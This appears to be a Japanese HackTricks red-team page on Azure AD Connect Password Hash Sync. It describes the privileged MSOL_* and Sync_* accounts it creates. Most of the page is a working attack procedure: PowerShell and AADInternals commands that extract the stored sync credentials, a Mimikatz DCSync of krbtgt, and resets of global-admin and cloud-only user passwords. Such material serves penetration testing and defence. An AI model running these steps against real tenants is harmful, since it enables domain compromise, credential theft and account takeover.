Az - PHS - Password Hash Sync

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

基本情報

ドキュメントから: パスワードハッシュ同期は、ハイブリッドアイデンティティを達成するために使用されるサインイン方法の1つです。Azure AD Connectは、オンプレミスのActive DirectoryインスタンスからクラウドベースのAzure ADインスタンスにユーザーのパスワードのハッシュのハッシュを同期します。

これは企業がオンプレミスADをAzure ADと同期させるために最も一般的に使用される方法です。

すべてのユーザーパスワードハッシュのハッシュがオンプレミスからAzure ADに同期されます。ただし、クリアテキストのパスワード元のハッシュはAzure ADに送信されません。 さらに、ビルトインセキュリティグループ(ドメイン管理者など)はAzure ADには同期されません

ハッシュの同期2分ごとに行われます。ただし、デフォルトでは、Azure ADではパスワードの有効期限アカウントの有効期限同期されません。したがって、オンプレミスのパスワードが期限切れ(変更されていない)のユーザーでも、古いパスワードを使用してAzureリソースに引き続きアクセスできます。

オンプレミスユーザーがAzureリソースにアクセスしようとすると、認証はAzure ADで行われます

PHSは、Identity ProtectionやAAD Domain Servicesなどの機能に必要です。

ピボット

PHSが構成されると、いくつかの特権アカウントが自動的に作成されます:

  • アカウント**MSOL_<installationID>がオンプレミスADに自動的に作成されます。このアカウントにはDirectory Synchronization Accountsロールが付与されます(ドキュメントを参照)。これは、オンプレミスADでレプリケーション(DCSync)権限**を持っていることを意味します。

  • Azure ADには**Sync_<name of on-prem ADConnect Server>_installationIDというアカウントが作成されます。このアカウントは、Azure ADで任意のユーザーのパスワードをリセット**できます(同期されたユーザーまたはクラウドのみ)。

前述の2つの特権アカウントのパスワードは、Azure AD ConnectがインストールされているサーバーのSQLサーバーに保存されます。管理者はこれらの特権ユーザーのパスワードをクリアテキストで抽出できます。 データベースはC:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdfにあります。

テーブルの1つから構成を抽出することが可能で、そのうち1つは暗号化されています:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

暗号化された構成DPAPIで暗号化されており、オンプレミスADの**MSOL_*ユーザーとAzureADのSync_***のパスワードが含まれています。したがって、これらを侵害すると、ADおよびAzureADへの昇格が可能です。

これらの資格情報がどのように保存および復号化されるかの詳細な概要については、このトークを参照してください。

Azure AD Connectサーバーを見つける

Azure AD Connectがインストールされているサーバーがドメインに参加している場合(ドキュメントで推奨されています)、次の方法で見つけることができます:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

MSOL_* の乱用

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

これらの資格情報を取得するためにadconnectdumpを使用することもできます。

Sync_*を悪用する

Sync_*アカウントを侵害すると、グローバル管理者を含む任意のユーザーのパスワードをリセットすることが可能です。

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

クラウドユーザーのパスワードを変更することも可能です(予期しない場合でも)。

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

このユーザーのパスワードをダンプすることも可能です。

別のオプションは、Syncユーザーが権限を持っているサービス プリンシパルに特権権限を割り当て、そのサービス プリンシパルにアクセスして特権昇格を行う方法です。

シームレス SSO

PHSを使用したシームレス SSOを使用することが可能であり、他の悪用の可能性があります。以下で確認できます:

pageAz - Seamless SSO

参考文献

htARTE(HackTricks AWS Red Team Expert) を使用して、ゼロからヒーローまでAWSハッキングを学びましょう

HackTricks をサポートする他の方法:

最終更新